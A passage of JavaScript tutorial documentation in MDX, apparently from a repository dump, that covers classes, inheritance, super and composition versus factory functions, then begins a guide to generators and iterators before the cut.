constructor\n    this.armor = 20;   // Add new property\n  }\n  \n  // Override parent method\n  takeDamage(amount) {\n    const reduced = Math.max(0, amount - this.armor);\n    return super.takeDamage(reduced);  // Call parent method\n  }\n  \n  // New method only for Warriors\n  shieldBash() {\n    return `${this.name} bashes with shield for ${this.armor} damage!`;\n  }\n}\n\n// Another derived class\nclass Mage extends Character {\n  constructor(name) {\n    super(name, 80);   // Mages have less health\n    this.mana = 100;\n  }\n  \n  // Override with different behavior\n  attack() {\n    if (this.mana >= 10) {\n      this.mana -= 10;\n      return `${this.name} casts fireball for 50 damage! (Mana: ${this.mana})`;\n    }\n    return `${this.name} is out of mana! Basic attack for 5 damage.`;\n  }\n  \n  meditate() {\n    this.mana = Math.min(100, this.mana + 30);\n    return `${this.name} meditates. Mana: ${this.mana}`;\n  }\n}\n\n// Usage\nconst conan = new Warrior(\"Conan\");\nconst gandalf = new Mage(\"Gandalf\");\n\nconsole.log(conan.attack());         // \"Conan attacks!\"\nconsole.log(conan.takeDamage(30));   // \"Conan has 140 HP left.\" (reduced by armor)\nconsole.log(conan.shieldBash());     // \"Conan bashes with shield for 20 damage!\"\n\nconsole.log(gandalf.attack());       // \"Gandalf casts fireball for 50 damage! (Mana: 90)\"\nconsole.log(gandalf.meditate());     // \"Gandalf meditates. Mana: 100\"\n\n// instanceof works through the chain\nconsole.log(conan instanceof Warrior);    // true\nconsole.log(conan instanceof Character);  // true\nconsole.log(gandalf instanceof Mage);     // true\nconsole.log(gandalf instanceof Warrior);  // false\n```\n\n### The [`super`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super) Keyword\n\n`super` does two things:\n\n1. **In constructor:** Calls the parent's constructor (`super(...)`)\n2. **In methods:** Accesses parent's methods (`super.method()`)\n\n```javascript\nclass Animal {\n  constructor(name) {\n    this.name = name;\n  }\n  \n  speak() {\n    return `${this.name} makes a sound.`;\n  }\n}\n\nclass Dog extends Animal {\n  constructor(name, breed) {\n    // MUST call super() before using 'this' in derived class\n    super(name);  // Calls Animal's constructor\n    this.breed = breed;\n  }\n  \n  speak() {\n    // Call parent method and add to it\n    const parentSays = super.speak();\n    return `${parentSays} Specifically: Woof!`;\n  }\n}\n\nconst rex = new Dog(\"Rex\", \"German Shepherd\");\nconsole.log(rex.speak());\n// \"Rex makes a sound. Specifically: Woof!\"\n```\n\n<Warning>\n**In a derived class constructor, you MUST call `super()` before using `this`.** JavaScript needs to initialize the parent part of the object first.\n\n```javascript\nclass Child extends Parent {\n  constructor(name) {\n    // this.name = name;  // ERROR! Can't use 'this' yet\n    super();              // Must call super first\n    this.name = name;     // Now 'this' is available\n  }\n}\n```\n</Warning>\n\n### The Problem with Deep Inheritance\n\nInheritance can become problematic with deep hierarchies:\n\n```javascript\n// The \"Gorilla-Banana Problem\"\nclass Animal { }\nclass Mammal extends Animal { }\nclass Primate extends Mammal { }\nclass Ape extends Primate { }\nclass Gorilla extends Ape { }\n\n// You wanted a banana, but you got the whole jungle!\n// - Deep chains are hard to understand\n// - Changes to parent classes can break children\n// - Tight coupling between classes\n```\n\n### Factory Composition — A Flexible Alternative\n\nInstead of inheritance (\"is-a\"), use composition (\"has-a\"):\n\n```javascript\n// Define behaviors as small, focused functions\nconst canWalk = (state) => ({\n  walk() {\n    state.position += state.speed;\n    return `${state.name} walks to position ${state.position}`;\n  }\n});\n\nconst canSwim = (state) => ({\n  swim() {\n    state.position += state.speed * 1.5;\n    return `${state.name} swims to position ${state.position}`;\n  }\n});\n\nconst canFly = (state) => ({\n  fly() {\n    state.position += state.speed * 3;\n    return `${state.name} flies to position ${state.position}`;\n  }\n});\n\nconst canSpeak = (state) => ({\n  speak(message) {\n    return `${state.name} says: \"${message}\"`;\n  }\n});\n\n// Compose characters by mixing behaviors\nfunction createDuck(name) {\n  const state = { name, position: 0, speed: 2 };\n  \n  return {\n    name: state.name,\n    ...canWalk(state),\n    ...canSwim(state),\n    ...canFly(state),\n    ...canSpeak(state),\n    getPosition: () => state.position\n  };\n}\n\nfunction createPenguin(name) {\n  const state = { name, position: 0, speed: 1 };\n  \n  return {\n    name: state.name,\n    ...canWalk(state),\n    ...canSwim(state),\n    // No canFly! Penguins can't fly\n    ...canSpeak(state),\n    getPosition: () => state.position\n  };\n}\n\nfunction createFish(name) {\n  const state = { name, position: 0, speed: 4 };\n  \n  return {\n    name: state.name,\n    ...canSwim(state),\n    // Fish can only swim\n    getPosition: () => state.position\n  };\n}\n\n// Usage\nconst donald = createDuck(\"Donald\");\ndonald.walk();    // \"Donald walks to position 2\"\ndonald.swim();    // \"Donald swims to position 5\"\ndonald.fly();     // \"Donald flies to position 11\"\ndonald.speak(\"Quack!\");  // 'Donald says: \"Quack!\"'\n\nconst tux = createPenguin(\"Tux\");\ntux.walk();       // Works\ntux.swim();       // Works\n// tux.fly();     // TypeError: tux.fly is not a function\n\nconst nemo = createFish(\"Nemo\");\nnemo.swim();      // Works\n// nemo.walk();   // TypeError: nemo.walk is not a function\n// nemo.fly();    // TypeError: nemo.fly is not a function\n```\n\n### Inheritance vs Composition\n\n```\n┌─────────────────────────────────────────────────────────────────────┐\n│ INHERITANCE (is-a)                                                   │\n│                                                                      │\n│     Animal                    Problem: What about flying fish?       │\n│       │                       What about penguins that can't fly?    │\n│       ├── Bird (can fly)      What about bats (mammals that fly)?    │\n│       │    └── Penguin ???                                          │\n│       ├── Fish (can swim)     You end up with awkward hierarchies   │\n│       │    └── FlyingFish ??? or lots of override methods.          │\n│       └── Mammal                                                     │\n│            └── Bat ???                                               │\n└─────────────────────────────────────────────────────────────────────┘\n\n┌─────────────────────────────────────────────────────────────────────┐\n│ COMPOSITION (has-a)                                                  │\n│                                                                      │\n│   Behaviors:          Characters:                                    │\n│   ┌─────────┐         ┌───────────────────────────────────────┐     │\n│   │ canWalk │─────────│ Duck = canWalk + canSwim + canFly     │     │\n│   └─────────┘         │ Penguin = canWalk + canSwim           │     │\n│   ┌─────────┐         │ Fish = canSwim                        │     │\n│   │ canSwim │─────────│ FlyingFish = canSwim + canFly         │     │\n│   └─────────┘         │ Bat = canWalk + canFly                │     │\n│   ┌─────────┐         └───────────────────────────────────────┘     │\n│   │ canFly  │                                                        │\n│   └─────────┘         Mix and match any combination!                 │\n└─────────────────────────────────────────────────────────────────────┘\n```\n\n| Aspect | Inheritance | Composition |\n|--------|-------------|-------------|\n| Relationship | \"is-a\" (Dog is an Animal) | \"has-a\" (Duck has flying ability) |\n| Flexibility | Rigid hierarchy | Mix and match behaviors |\n| Reuse | Through parent chain | Through behavior functions |\n| Coupling | Tight (child depends on parent) | Loose (behaviors are independent) |\n| Testing | Harder (need parent context) | Easier (test behaviors in isolation) |\n| Best for | Clear hierarchies, `instanceof` needed | Flexible combinations, multiple behaviors |\n\n---\n\n## Factory vs Class — Which Should You Use?\n\n### Side-by-Side Comparison\n\n| Feature | Factory Function | ES6 Class |\n|---------|-----------------|-----------|\n| **Syntax** | Regular function | `class` keyword |\n| **`new` keyword** | Not needed | Required |\n| **`instanceof`** | Doesn't work | Works |\n| **True privacy** | Closures | Private fields (#) |\n| **Memory efficiency** | Each instance has own methods | Methods shared via prototype |\n| **`this` binding** | Can avoid `this` with closures | Must be careful with `this` |\n| **Inheritance** | Composition (flexible) | `extends` (hierarchical) |\n| **Familiarity** | Functional style | OOP style (familiar to Java/C# devs) |\n\n### When to Use Factory Functions\n\n<CardGroup cols={2}>\n  <Card title=\"Need true privacy\" icon=\"lock\">\n    Closure-based privacy can't be circumvented\n  </Card>\n  <Card title=\"No instanceof needed\" icon=\"ban\">\n    You don't need to check object types\n  </Card>\n  <Card title=\"Composition over inheritance\" icon=\"puzzle-piece\">\n    Mix and match behaviors flexibly\n  </Card>\n  <Card title=\"Functional programming style\" icon=\"code\">\n    Fits well with functional patterns\n  </Card>\n</CardGroup>\n\n### When to Use Classes\n\n<CardGroup cols={2}>\n  <Card title=\"Need instanceof\" icon=\"check\">\n    Type checking at runtime\n  </Card>\n  <Card title=\"Clear hierarchies\" icon=\"sitemap\">\n    When \"is-a\" relationships make sense\n  </Card>\n  <Card title=\"Team familiarity\" icon=\"users\">\n    Team knows OOP from other languages\n  </Card>\n  <Card title=\"Framework requirements\" icon=\"cubes\">\n    React components, Angular services, etc.\n  </Card>\n</CardGroup>\n\n### Decision Guide\n\n```\n┌─────────────────────────────────────────────────────────────────────┐\n│ WHICH SHOULD I USE?                                                  │\n│                                                                      │\n│ Do you need instanceof checks?                                       │\n│   YES ──► Use Class                                                  │\n│   NO  ──▼                                                            │\n│                                                                      │\n│ Do you need a clear inheritance hierarchy?                           │\n│   YES ──► Use Class with extends                                     │\n│   NO  ──▼                                                            │\n│                                                                      │\n│ Do you need to mix multiple behaviors?                               │\n│   YES ──► Use Factory with composition                               │\n│   NO  ──▼                                                            │\n│                                                                      │\n│ Do you need truly private data?                                      │\n│   YES ──► Either works (Factory closures OR Class with #)            │\n│   NO  ──▼                                                            │\n│                                                                      │\n│ Is your team familiar with OOP?                                      │\n│   YES ──► Use Class (more familiar syntax)                           │\n│   NO  ──► Use Factory (simpler mental model)                         │\n└─────────────────────────────────────────────────────────────────────┘\n```\n\n### Real-World Examples\n\n**React Components (Classes → Functions)**\n```javascript\n// Old: Class components\nclass Button extends React.Component {\n  render() {\n    return <button>{this.props.label}</button>;\n  }\n}\n\n// Modern: Function components (like factories)\nfunction Button({ label }) {\n  return <button>{label}</button>;\n}\n```\n\n**Game Entities (Classes for hierarchy)**\n```javascript\nclass Entity { }\nclass Character extends Entity { }\nclass Player extends Character { }\nclass NPC extends Character { }\n```\n\n**Utility Objects (Factories for flexibility)**\n```javascript\nconst logger = createLogger({ level: 'debug', prefix: '[App]' });\nconst cache = createCache({ maxSize: 100, ttl: 3600 });\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Factory functions** are regular functions that return objects — simple and flexible\n\n2. **Constructor functions** are used with `new` to create instances — the traditional approach\n\n3. **ES6 classes** are syntactic sugar over constructors — cleaner syntax, same behavior\n\n4. **The `new` keyword** creates an object, links its prototype, runs the constructor, and returns the result\n\n5. **Prototype methods** are shared by all instances — saves memory\n\n6. **Private fields (#)** provide true privacy in classes — can't be accessed from outside\n\n7. **Closures** provide true privacy in factories — variables trapped in function scope\n\n8. **Static methods** belong to the class itself, not instances — use for utilities and factory methods\n\n9. **Inheritance (`extends`)** creates \"is-a\" relationships — use for clear hierarchies\n\n10. **Composition** creates \"has-a\" relationships — more flexible than inheritance\n\n11. **Use classes** when you need `instanceof`, clear hierarchies, or team familiarity\n\n12. **Use factories** when you need composition, true privacy, or functional style\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What are the 4 steps the new keyword performs?\">\n    **Answer:**\n    \n    When you call `new Constructor(args)`:\n    \n    1. **Create** a new empty object (`{}`)\n    2. **Link** the object's prototype to `Constructor.prototype`\n    3. **Execute** the constructor with `this` bound to the new object\n    4. **Return** the object (unless constructor returns a different object)\n    \n    ```javascript\n    function myNew(Constructor, ...args) {\n      const obj = Object.create(Constructor.prototype);  // Steps 1-2\n      const result = Constructor.apply(obj, args);       // Step 3\n      return (typeof result === 'object' && result !== null) ? result : obj;  // Step 4\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between instance methods and prototype methods?\">\n    **Answer:**\n    \n    **Instance methods** are defined in the constructor — each instance gets its own copy:\n    ```javascript\n    function Player(name) {\n      this.attack = function() { };  // Each player has own attack function\n    }\n    ```\n    \n    **Prototype methods** are shared by all instances — more memory efficient:\n    ```javascript\n    Player.prototype.attack = function() { };  // All players share one function\n    ```\n    \n    In ES6 classes, methods defined in the class body are automatically prototype methods:\n    ```javascript\n    class Player {\n      attack() { }  // This goes on Player.prototype\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do private fields (#) differ from closure-based privacy?\">\n    **Answer:**\n    \n    | Aspect | Private Fields (#) | Closures |\n    |--------|-------------------|----------|\n    | Syntax | `this.#field` | `let variable` in factory |\n    | Error on access | SyntaxError | Returns `undefined` |\n    | Memory | Efficient (shared methods) | Each instance has own methods |\n    | `instanceof` | Works | Doesn't work |\n    \n    ```javascript\n    // Private Fields\n    class Wallet {\n      #balance = 0;\n      getBalance() { return this.#balance; }\n    }\n    // w.#balance throws SyntaxError\n    \n    // Closures\n    function createWallet() {\n      let balance = 0;\n      return { getBalance() { return balance; } };\n    }\n    // w.balance returns undefined\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What does super() do and when must you call it?\">\n    **Answer:**\n    \n    `super()` calls the parent class's constructor. You **must** call it in a derived class constructor **before** using `this`.\n    \n    ```javascript\n    class Animal {\n      constructor(name) {\n        this.name = name;\n      }\n    }\n    \n    class Dog extends Animal {\n      constructor(name, breed) {\n        // this.breed = breed;  // ERROR! Can't use 'this' yet\n        super(name);            // Call parent constructor first\n        this.breed = breed;     // Now 'this' is available\n      }\n    }\n    ```\n    \n    `super.method()` calls a parent's method from within an overriding method.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: When would you use composition over inheritance?\">\n    **Answer:**\n    \n    Use **composition** when:\n    - You need to mix behaviors from multiple sources (a flying fish, a swimming bird)\n    - The \"is-a\" relationship doesn't make sense\n    - You want loose coupling between components\n    - You need flexibility to change behaviors at runtime\n    \n    Use **inheritance** when:\n    - There's a clear \"is-a\" hierarchy (Dog is an Animal)\n    - You need `instanceof` checks\n    - You want to share implementation, not just interface\n    \n    **Rule of thumb:** \"Favor composition over inheritance\" — composition is more flexible.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why are ES6 classes called 'syntactic sugar'?\">\n    **Answer:**\n    \n    Classes are called \"syntactic sugar\" because they don't add new functionality — they just provide a cleaner syntax for constructor functions and prototypes.\n    \n    ```javascript\n    // This class...\n    class Player {\n      constructor(name) { this.name = name; }\n      attack() { return `${this.name} attacks!`; }\n    }\n    \n    // ...is equivalent to:\n    function Player(name) { this.name = name; }\n    Player.prototype.attack = function() { return `${this.name} attacks!`; };\n    \n    // Both create the same result:\n    typeof Player === 'function'  // true for both\n    ```\n    \n    The class syntax makes the code easier to read and write, but under the hood, JavaScript is still using prototypes.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between factory functions and classes in JavaScript?\">\n    Factory functions are regular functions that return new objects. Classes are syntactic sugar over constructor functions and prototypes, using the `class` keyword and `new` operator. Factories offer simpler composition and true privacy through closures, while classes provide a familiar OOP syntax and share methods efficiently via the prototype chain.\n  </Accordion>\n\n  <Accordion title=\"Are JavaScript classes real classes like in Java or C++?\">\n    No. As stated in the ECMAScript specification, JavaScript classes are primarily syntactic sugar over the existing prototype-based inheritance model. Under the hood, a `class` declaration creates a constructor function with methods on its prototype. Unlike classical OOP languages, JavaScript does not have true class-based inheritance — it uses prototypal delegation.\n  </Accordion>\n\n  <Accordion title=\"What are private fields in JavaScript classes?\">\n    Private fields, prefixed with `#`, are truly private properties that cannot be accessed outside the class body. They were standardized in ECMAScript 2022 and are enforced by the JavaScript engine at the language level. Unlike the underscore convention (`_name`), private fields throw a `SyntaxError` if accessed externally.\n  </Accordion>\n\n  <Accordion title=\"When should I use a factory function instead of a class?\">\n    Use factories when you need true data privacy through closures, want to compose objects from multiple sources, or need to return different object types conditionally. Use classes when you want prototype-based method sharing, need `instanceof` checks, or work with frameworks that expect class syntax. According to the 2023 State of JS survey, class syntax is widely adopted, but factory patterns remain popular in functional-style codebases.\n  </Accordion>\n\n  <Accordion title=\"What does the new keyword do under the hood?\">\n    The `new` keyword performs four steps: it creates a new empty object, links that object's prototype to the constructor's `prototype` property, executes the constructor with `this` bound to the new object, and returns the object (unless the constructor explicitly returns a different object). This is the same for both constructor functions and classes.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Object Creation & Prototypes\" icon=\"link\" href=\"/concepts/object-creation-prototypes\">\n    Deep dive into JavaScript's prototype chain, Object.create(), and how the new keyword works under the hood\n  </Card>\n  <Card title=\"this, call, apply, bind\" icon=\"hand-pointer\" href=\"/concepts/this-call-apply-bind\">\n    Understanding this binding in different contexts\n  </Card>\n  <Card title=\"Inheritance and Polymorphism\" icon=\"sitemap\" href=\"/concepts/inheritance-polymorphism\">\n    Advanced inheritance patterns and polymorphism in JavaScript\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"compass\" href=\"/concepts/design-patterns\">\n    Common patterns including Factory, Singleton, and more\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Classes — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes\">\n    Official MDN documentation on ES6 classes\n  </Card>\n  <Card title=\"Private class features — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields\">\n    Documentation on private fields and methods\n  </Card>\n  <Card title=\"new operator — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new\">\n    How the new keyword works\n  </Card>\n  <Card title=\"Object.create() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create\">\n    Creating objects with specific prototypes\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"How To Use Classes in JavaScript\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/understanding-classes-in-javascript\">\n    Tania builds a Character class step by step, adding features one at a time. Great if you want to follow along and type the code yourself.\n  </Card>\n  <Card title=\"JavaScript Classes — Under The Hood\" icon=\"newspaper\" href=\"https://talkingtech.io/javascript-classes-under-the-hood/\">\n    Shows the ES5 equivalent of every ES6 class feature side by side. Read this to understand what JavaScript is really doing when you write a class.\n  </Card>\n  <Card title=\"Factory Functions in JavaScript\" icon=\"newspaper\" href=\"https://atendesigngroup.com/blog/factory-functions-javascript\">\n    A classic introduction to factory functions using a Car example. Shows the self-pattern for avoiding `this` issues and private variables with closures.\n  </Card>\n  <Card title=\"Class vs Factory function\" icon=\"newspaper\" href=\"https://medium.freecodecamp.org/class-vs-factory-function-exploring-the-way-forward-73258b6a8d15\">\n    Cristi Salcescu's comparison of both approaches with pros, cons, and when to use each.\n  </Card>\n  <Card title=\"Composition vs Inheritance\" icon=\"newspaper\" href=\"https://ui.dev/javascript-inheritance-vs-composition/\">\n    Uses a game character example to show how composition avoids the problems of deep inheritance. Includes the mixin pattern for adding behaviors.\n  </Card>\n  <Card title=\"Understanding super in JavaScript\" icon=\"newspaper\" href=\"https://jordankasper.com/understanding-super-in-javascript\">\n    Explains when and why you need super() with clear error examples. Covers the \"must call super before this\" rule that trips up beginners.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Factory Functions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=jpegXpQpb3o\">\n    Mosh builds a circle factory from scratch in under 10 minutes. Good starting point if you've never seen factories before.\n  </Card>\n  <Card title=\"Factory Functions in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=ImwrezYhw4w\">\n    MPJ's signature conversational style makes factories feel approachable. Includes the \"why not just use classes?\" discussion.\n  </Card>\n  <Card title=\"Composition over Inheritance\" icon=\"video\" href=\"https://www.youtube.com/watch?v=wfMtDGfHWpA\">\n    Fun Fun Function explains why composition is often better than inheritance with the \"Gorilla-Banana\" problem.\n  </Card>\n  <Card title=\"JavaScript Classes Tutorial\" icon=\"video\" href=\"https://www.youtube.com/watch?v=2ZphE5HcQPQ\">\n    Traversy covers classes from basic syntax to private fields in one video. Watch at 1.5x speed for a quick refresher.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/generators-iterators.mdx",
    "content": "---\ntitle: \"Generators & Iterators\"\nsidebarTitle: \"Generators & Iterators: Pausable Functions\"\ndescription: \"Learn JavaScript generators and iterators. Understand yield, lazy evaluation, infinite sequences, and async generators.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Async JavaScript\"\n\"article:tag\": \"javascript generators, iterators, yield keyword, lazy evaluation, async generators\"\n---\n\nWhat if a function could pause mid-execution, return a value, and then resume right where it left off? What if you could create a sequence of values that are computed only when you ask for them — not all at once?\n\n```javascript\n// This function can PAUSE and RESUME\nfunction* countToThree() {\n  yield 1  // Pause here, return 1\n  yield 2  // Resume, pause here, return 2\n  yield 3  // Resume, pause here, return 3\n}\n\nconst counter = countToThree()\n\nconsole.log(counter.next().value)  // 1\nconsole.log(counter.next().value)  // 2\nconsole.log(counter.next().value)  // 3\n```\n\nThis is the power of **[generators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator)**. Introduced in the ECMAScript 2015 specification, these are functions that can pause with `yield` and pick up where they left off. Combined with **[iterators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols)** (objects that define how to step through a sequence), they open up patterns like lazy evaluation, infinite sequences, and clean data pipelines.\n\n<Info>\n**What you'll learn in this guide:**\n- What iterators are and how the iteration protocol works\n- Generator functions with `function*` and `yield` (they're lazier than you think)\n- The difference between `yield` and `return` (it trips people up!)\n- How to make any object iterable with `Symbol.iterator`\n- Lazy evaluation — why generators are so memory-efficient\n- Practical patterns: pagination, ID generation, state machines\n- Async generators and `for await...of` for streaming data\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you're comfortable with [closures](/concepts/scope-and-closures) and [higher-order functions](/concepts/higher-order-functions). If those concepts are new to you, read those guides first!\n</Warning>\n\n---\n\n## What is an Iterator?\n\nBefore getting into generators, we need to cover **iterators**, the foundation that makes generators work.\n\nAn **[iterator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterator_protocol)** is an object that defines a sequence and provides a way to access values one at a time. It must have a `.next()` method that returns an object with two properties:\n\n- `value` — the next value in the sequence\n- `done` — `true` if the sequence is finished, `false` otherwise\n\n```javascript\n// Creating an iterator manually\nfunction createCounterIterator(max) {\n  let count = 0\n  \n  return {\n    next() {\n      if (count < max) {\n        return { value: count++, done: false }\n      } else {\n        return { value: undefined, done: true }\n      }\n    }\n  }\n}\n\nconst counter = createCounterIterator(3)\n\nconsole.log(counter.next())  // { value: 0, done: false }\nconsole.log(counter.next())  // { value: 1, done: false }\nconsole.log(counter.next())  // { value: 2, done: false }\nconsole.log(counter.next())  // { value: undefined, done: true }\n```\n\n### Why Iterators?\n\nWhy not just use an array? Two reasons:\n\n1. **Lazy evaluation** — Values are computed only when you ask for them, not upfront\n2. **Memory efficiency** — You don't need to hold the entire sequence in memory\n\nSay you need to process a million records. With an array, you'd load all million into memory. With an iterator, you process one at a time. Memory stays flat.\n\n### Built-in Iterables\n\nMany JavaScript built-ins are already **iterable** (they have iterators built in):\n\n| Type | Example | What it iterates over |\n|------|---------|----------------------|\n| **Array** | `[1, 2, 3]` | Each element |\n| **String** | `\"hello\"` | Each character |\n| **Map** | `new Map([['a', 1]])` | Each `[key, value]` pair |\n| **Set** | `new Set([1, 2, 3])` | Each unique value |\n| **arguments** | `arguments` object | Each argument passed to a function |\n| **NodeList** | `document.querySelectorAll('div')` | Each DOM node |\n\nYou can access their iterator using `Symbol.iterator`:\n\n```javascript\nconst arr = [10, 20, 30]\nconst iterator = arr[Symbol.iterator]()\n\nconsole.log(iterator.next())  // { value: 10, done: false }\nconsole.log(iterator.next())  // { value: 20, done: false }\nconsole.log(iterator.next())  // { value: 30, done: false }\nconsole.log(iterator.next())  // { value: undefined, done: true }\n```\n\n<Note>\n**`for...of` uses iterators under the hood.** When you write `for (const item of array)`, JavaScript is actually calling the iterator's `.next()` method repeatedly until `done` is `true`. According to the ECMAScript specification, any object that implements the `Symbol.iterator` method is considered iterable and can be used with `for...of`, spread syntax, and destructuring.\n</Note>\n\n---\n\n## The Vending Machine Analogy\n\nGenerators click when you have the right mental picture. Think of them like a **vending machine**:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    GENERATOR AS A VENDING MACHINE                       │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                         │\n│     YOU                                    VENDING MACHINE              │\n│   (caller)                                   (generator)                │\n│                                                                         │\n│  ┌─────────┐                              ┌─────────────────┐           │\n│  │         │                              │  ┌───────────┐  │           │\n│  │  \"I'll  │ ──── Press button ─────────► │  │  Snack A  │  │           │\n│  │  have   │      (call .next())          │  ├───────────┤  │           │\n│  │   one\"  │                              │  │  Snack B  │  │           │\n│  │         │ ◄─── Dispense one item ───── │  ├───────────┤  │           │\n│  │         │      (yield value)           │  │  Snack C  │  │           │\n│  │         │                              │  └───────────┘  │           │\n│  │         │      * Machine PAUSES *      │                 │           │\n│  │         │      * Waits for next *      │   [  PAUSED  ]  │           │\n│  │         │      * button press   *      │                 │           │\n│  └─────────┘                              └─────────────────┘           │\n│                                                                         │\n│  KEY INSIGHT: The machine remembers where it stopped!                   │\n│  When you press the button again, it gives you the NEXT item,           │\n│  not the first one again.                                               │\n│                                                                         │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nHere's how this maps to generator concepts:\n\n| Vending Machine | Generator |\n|-----------------|-----------|\n| Press the button | Call `.next()` |\n| Machine dispenses one item | `yield` returns a value |\n| Machine pauses, waits | Generator pauses at `yield` |\n| Press button again | Call `.next()` again |\n| Machine remembers position | Generator remembers its state |\n| Machine is empty | `done: true` |\n\nA generator works the same way: one value at a time, pausing between each.\n\n---\n\n## What is a Generator?\n\nA **[generator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator)** is a function that can stop mid-execution, hand you a value, and pick up where it left off later. You create one using `function*` (note the asterisk) and pause it with the `yield` keyword.\n\n```javascript\n// The asterisk (*) makes this a generator function\nfunction* myGenerator() {\n  console.log('Starting...')\n  yield 'First value'\n  \n  console.log('Resuming...')\n  yield 'Second value'\n  \n  console.log('Finishing...')\n  return 'Done!'\n}\n```\n\nWhen you call a generator function, the code inside doesn't run yet. You just get back a **generator object** (which is an iterator):\n\n```javascript\nconst gen = myGenerator()  // Nothing logs yet!\n\nconsole.log(gen)  // Object [Generator] {}\n```\n\nThe code only runs when you call `.next()`:\n\n```javascript\nconst gen = myGenerator()\n\n// First .next() — runs until first yield\nconsole.log(gen.next())\n// Logs: \"Starting...\"\n// Returns: { value: 'First value', done: false }\n\n// Second .next() — resumes and runs until second yield\nconsole.log(gen.next())\n// Logs: \"Resuming...\"\n// Returns: { value: 'Second value', done: false }\n\n// Third .next() — resumes and runs to the end\nconsole.log(gen.next())\n// Logs: \"Finishing...\"\n// Returns: { value: 'Done!', done: true }\n\n// Fourth .next() — generator is exhausted\nconsole.log(gen.next())\n// Returns: { value: undefined, done: true }\n```\n\n### Generators are Iterators\n\nBecause generator objects follow the iterator protocol, you can use them with `for...of`:\n\n```javascript\nfunction* colors() {\n  yield 'red'\n  yield 'green'\n  yield 'blue'\n}\n\nfor (const color of colors()) {\n  console.log(color)\n}\n// Output:\n// red\n// green\n// blue\n```\n\nYou can also spread them into arrays:\n\n```javascript\nfunction* numbers() {\n  yield 1\n  yield 2\n  yield 3\n}\n\nconst arr = [...numbers()]\nconsole.log(arr)  // [1, 2, 3]\n```\n\n<CardGroup cols={2}>\n  <Card title=\"Generator — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator\">\n    Official MDN documentation for Generator objects\n  </Card>\n  <Card title=\"function* — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*\">\n    Documentation for the generator function syntax\n  </Card>\n</CardGroup>\n\n---\n\n## The `yield` Keyword Deep Dive\n\n`yield` is what makes generators tick. It pauses the function and sends a value back to the caller. When you call `.next()` again, execution picks up right after the `yield`.\n\n### Basic `yield`\n\n```javascript\nfunction* countdown() {\n  yield 3\n  yield 2\n  yield 1\n  yield 'Liftoff!'\n}\n\nconst rocket = countdown()\n\nconsole.log(rocket.next().value)  // 3\nconsole.log(rocket.next().value)  // 2\nconsole.log(rocket.next().value)  // 1\nconsole.log(rocket.next().value)  // \"Liftoff!\"\n```\n\n### `yield` vs `return`\n\nBoth `yield` and `return` can return values, but they behave very differently:\n\n| `yield` | `return` |\n|---------|----------|\n| Pauses the generator | Ends the generator |\n| `done: false` | `done: true` |\n| Can have multiple | Only one matters |\n| Value accessible in `for...of` | Value NOT accessible in `for...of` |\n\n```javascript\nfunction* example() {\n  yield 'A'  // Pauses, done: false\n  yield 'B'  // Pauses, done: false\n  return 'C' // Ends, done: true\n}\n\n// With for...of — return value is ignored!\nfor (const val of example()) {\n  console.log(val)\n}\n// Output: A, B (no C!)\n\n// With .next() — you can see the return value\nconst gen = example()\nconsole.log(gen.next())  // { value: 'A', done: false }\nconsole.log(gen.next())  // { value: 'B', done: false }\nconsole.log(gen.next())  // { value: 'C', done: true }\n```\n\n<Warning>\n**Common gotcha:** The value from `return` is not included when iterating with `for...of`, spread syntax, or `Array.from()`. Use `yield` for all values you want to iterate over.\n</Warning>\n\n### `yield*` — Delegating to Other Iterables\n\nWhen you want to pass through all values from another iterable, use `yield*`:\n\n```javascript\nfunction* inner() {\n  yield 'a'\n  yield 'b'\n}\n\nfunction* outer() {\n  yield 1\n  yield* inner()  // Delegates to inner generator\n  yield 2\n}\n\nconsole.log([...outer()])  // [1, 'a', 'b', 2]\n```\n\n`yield*` shines when flattening nested structures:\n\n```javascript\nfunction* flatten(arr) {\n  for (const item 